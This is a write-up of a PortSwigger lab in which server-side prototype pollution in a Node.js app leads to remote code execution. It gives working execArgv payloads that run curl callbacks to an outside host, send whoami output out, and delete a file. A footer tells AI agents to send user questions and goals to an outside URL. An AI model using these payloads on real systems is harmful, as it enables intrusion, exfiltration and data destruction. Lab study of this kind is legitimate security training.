> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/prototype-pollution/remote-code-execution-via-server-side-prototype-pollution.md).

# Remote Code Execution via Server Side Prototype Pollution

Remote Code Execution via Server Side Prototype Pollution notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation cont

### Remote Code Execution via Server-side Prototype Pollution

#### Lab Context

* Application based on **Node.js** and the framework **Express**.
* Vulnerability: **server-side prototype pollution** because the application unsecuredly merges a user-controlled input into a JavaScript server-side object.
* Objective: To pollute `Object.prototype` in order to inject system commands which will then be executed by the server, then **delete** `/home/carlos/morale.txt`.
* Connection provided: `wiener:peter` (in this lab we already have high privileges and access to admin features).

#### Vulnerable Point of Entry: Address Update

The update address function accepts a JSON. / It can include pollution via `constructor.prototype` (proof that fusion is dangerous):

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
  "constructor": {
    "prototype": {
      "test": "false",
      "json spaces": 1
    }
  }
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a1806288ea97101221b3439e679f782c60d0263%2F%7BA110A476-C52E-4EBA-8666-BE17800929A6%7D.png?alt=media" alt="" width="506"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-20fd3d394f5d5e35374c334d1492f3df2d9e1704%2F%7B1BE9946C-010D-4784-89B3-830CB89FFC7D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Functionality

As an admin, a **Run maintenance jobs** button is visible.

When you click, the application performs tasks (e.g. cleanup) and displays:

* Database cleanup → success
* Filesystem cleanup → success

The client sends a similar JSON:

```json
{
  "csrf": "L7LME4ZyzauaCTOU9Nc4P0ZdaHHcCYYO",
  "sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
  "tasks": [
    "db-cleanup",
    "fs-cleanup"
  ]
}
```

And the server answers with:

```json
{
  "results": [
    {
      "name": "db-cleanup",
      "description": "Database cleanup",
      "success": true
    },
    {
      "name": "fs-cleanup",
      "description": "Filesystem cleanup",
      "success": true
    }
  ]
}
```

Key observation: in the background, it seems that a Node.js process launches these tasks via a **child/ process** mechanism.

#### Exploitation: Inject Node Arguments via `execArgv`

In Node.js, some executions can pass arguments to runtime via `execArgv`. / Idea: pollute `Object.prototype.execArgv` to inject a `--eval=...` that executes a system command via `child_process.execSync`.

```javascript
--eval=require('child_process').execSync('id')
```

Payload used (callback test to Burp Collaborator via `curl`):

```json
"__proto__": {
    "execArgv":[
        "--eval=require('child_process').execSync('curl https://m2pugey17it1s1cdpbfmc54tuk0co5cu.oastify.com')"
    ]
}
```

Then we trigger **Run maintenance jobs** to force the application to start the process that reuses `execArgv`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d85f5814176091036914590070c64395b48a61d6%2F%7B6C7A09B8-0D1A-4939-863D-64C5072F78DA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We do receive a request on the Collaborator → execution confirmed.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e841115da38d6d55d88915a9efcf28715c89a074%2F%7B357004E2-A11A-47DE-9808-4088989EB857%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Context Verification: Exfilter `whoami`

You can exfil the user via a dynamic subdomain:

{% code overflow="wrap" %}

```json
"--eval=require('child_process').execSync('curl https://$(whoami).m2pugey17it1s1cdpbfmc54tuk0co5cu.oastify.com')"
```

{% endcode %}

Reception: `carlos`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7ef882b598e101e39b3c48b73eaf8cc9bde6909%2F%7B633F34DC-A198-4695-BFBE-B6A04D61C317%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Final Step: Delete the Requested File

Clean pollution is sent with the removal command:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
  "__proto__": {
    "execArgv": [
      "--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
    ]
  }
}
```

Then we restart **Maintenance jobs** to trigger execution.

Expected result: `/home/carlos/morale.txt` file deleted and lab validated.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/prototype-pollution/remote-code-execution-via-server-side-prototype-pollution.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
